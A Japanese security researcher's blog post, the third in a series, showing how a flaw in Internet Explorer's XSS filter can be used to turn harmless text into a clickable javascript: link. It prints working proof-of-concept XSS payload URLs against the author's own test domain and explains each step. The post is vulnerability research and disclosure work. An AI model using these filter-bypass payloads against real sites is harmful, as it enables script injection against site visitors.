2012/09/25

ブラウザのXSS保護機能をバイパスする(3)

第3弾です。第1弾はこちら。第2弾はこちら

ターゲットはIEのXSSフィルターです。
今回のバイパスは、本来作成できてはならないjavascript:スキームのリンクをIEのXSSフィルターの挙動を利用して作成するという方法で行います。

いきなりですが、発見した方法はこれです。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

何がどうしてここにたどりついたのか、順に見ていきます。

IEは「<a href="javascript:alert(1)">xxx」のような文字列がクエリ文字列にあり、その文字列がページ中に出力されるなら、その出力の一部を書き換え、XSSを遮断しようとします。

http://vulnerabledoma.in/xssable?q=%3Ca%20href%3D%22javascript:alert%281%29%22%3Exxx
<a href="javasc#ipt:alert(1)">xxx

「javascript」の「r」を「#」に書き換えています。
小さくしていくと以下でも遮断されます。

 http://vulnerabledoma.in/xssable?q=javascript:1
 http://vulnerabledoma.in/xssable?q=javascript%26%23x3A%3B1
javasc#ipt:1
 「javascript」「コロン」「文字」というような組み合わせで遮断されるようです。

他の挙動も見ていきます。
IEは<script>タグの文字列リテラル中に出力されるようなXSSも遮断しようとします。

http://vulnerabledoma.in/xss_js?q=%22%3Balert(1)//
<script>var q="";alert#1#//"</script>
()が「#」に書き換えられています。
()が使えないなら、()を使わずに「";location.href='javascript:alert\x281\x29'//」とかでいけるんじゃないかと考えるのが我々XSSerです。

http://vulnerabledoma.in/xss_js?q=%22%3Blocation.href='javascript:alert\x281\x29'//
<script>var q="";lo#ation#href='javasc#ipt:alert\x281\x29'//"</script>

これもお見通しのようです。「location」の一部と、その後のドット、そして「javascript:」の部分が先ほどのように書き換えられています。

これを小さくしていくと、以下のようなものでも反応します。

http://vulnerabledoma.in/xss_js?q=%22%3Bx.x=
<script>var q="";x#x="</script>

「引用符」「区切り文字」「文字」「ドット」「文字」「=」というような組み合わせで、ドキュメント中の既存の<script>タグ内になんらかの代入を行おうとしているとみなされ、ドットが「#」に書き換えられるようです。
じゃあ「";&.x=」なんてのはどうなんでしょうか。

 http://vulnerabledoma.in/xss_js?q=%22%3B%26.x=
<script>var q="";&#x="</script>
これもドットを「#」にしています。「&#x」、おっと!何かが見えてきました!!

「&#x」という形が作れるということは、もし遮断後にaタグのhrefにこの形を配置できた場合、「&#x3A;」というような形も作れるということになります。
ボディになんの処理もなく出力されるXSSの場合に戻り、これを試してみます。

http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3D%22javascript%26.x3A%3Balert%281%29//=%22%3Exxx
"<a href="javascript&#x3A;alert#1#//=">xxx
おおお!javascript:という形のスキームを配置できてしまいました。
最初の「"」で区切っているフリをし、後半の「=」で代入しているフリをします。 これにより、<script>タグの文字列リテラル中の遮断ルールが発動するようにしています。

まだ()が遮断されて「#」になっているので、これらも同じようにそれぞれの()の前後に「&」「x28;/x29;」を配置して数値文字参照が現れるようにします。

 http://vulnerabledoma.in/xssable?q=%22%3Ca%20href%3Djavascript%26.x3A%3Balert%26%28x28%3B1%26%29x29%3B//=%3Exxx

"<a href="javascript&#x3A;alert&#x28;1&#x29;//=">xxx

ドカーン!

というかんじでたどりつきました。

ワンクリックで発動するリンクを作成できるようになるという点では、以前ブログに書いた同一オリジンからのリンクを作成してバイパスする方法と同等の問題にみえます。しかし、無害なものを有害なものに書き換えるという点で、以前のそれよりもタチが悪いものであると思います。

例えば以下は一応、XSSのない、ただの相対リンクが設定されただけの静的なページですが、

http://vulnerabledoma.in/ie_xssfilter.html
'<a href="javascript&.x3A;alert&(x28;1&)x29;//=">just a relative URL</a>

以下のようにURLに文字列を付加することで、XSSフィルターがjavascript:のURLに変化させてしまいます。

http://vulnerabledoma.in/ie_xssfilter.html?%27%3Ca%20href=%22javascript%26.x3A;alert%26%28x28;1%26%29x29;//=%22%3E
'<a href="javascript&#x3A;alert&#x28;1&#x29;//=">just a relative URL</a>

ただ、大抵の場合、保護すべきドメインの自由にリンクを設定できる箇所に「&」を何も手を加えず出力できるということは、「javascript&#x3A;alert(1)」というようなjavascriptを起動可能なURLを始めから設定できる可能性が高いことになる(=はじめからXSS脆弱性がある)ので、この方法によって新たにXSSが可能な穴をあけてしまうケースは、実際のところそう多くないのではないかと思います。

そうはいっても、遮断後に起きている誤りなので、明らかにXSSフィルターの欠陥であるといえます。しかも、トリッキーなものではなく、ごく普通にある脆弱パターンの遮断に失敗している点でよくありません。
改善を期待したいところです。

0 件のコメント:

コメントを投稿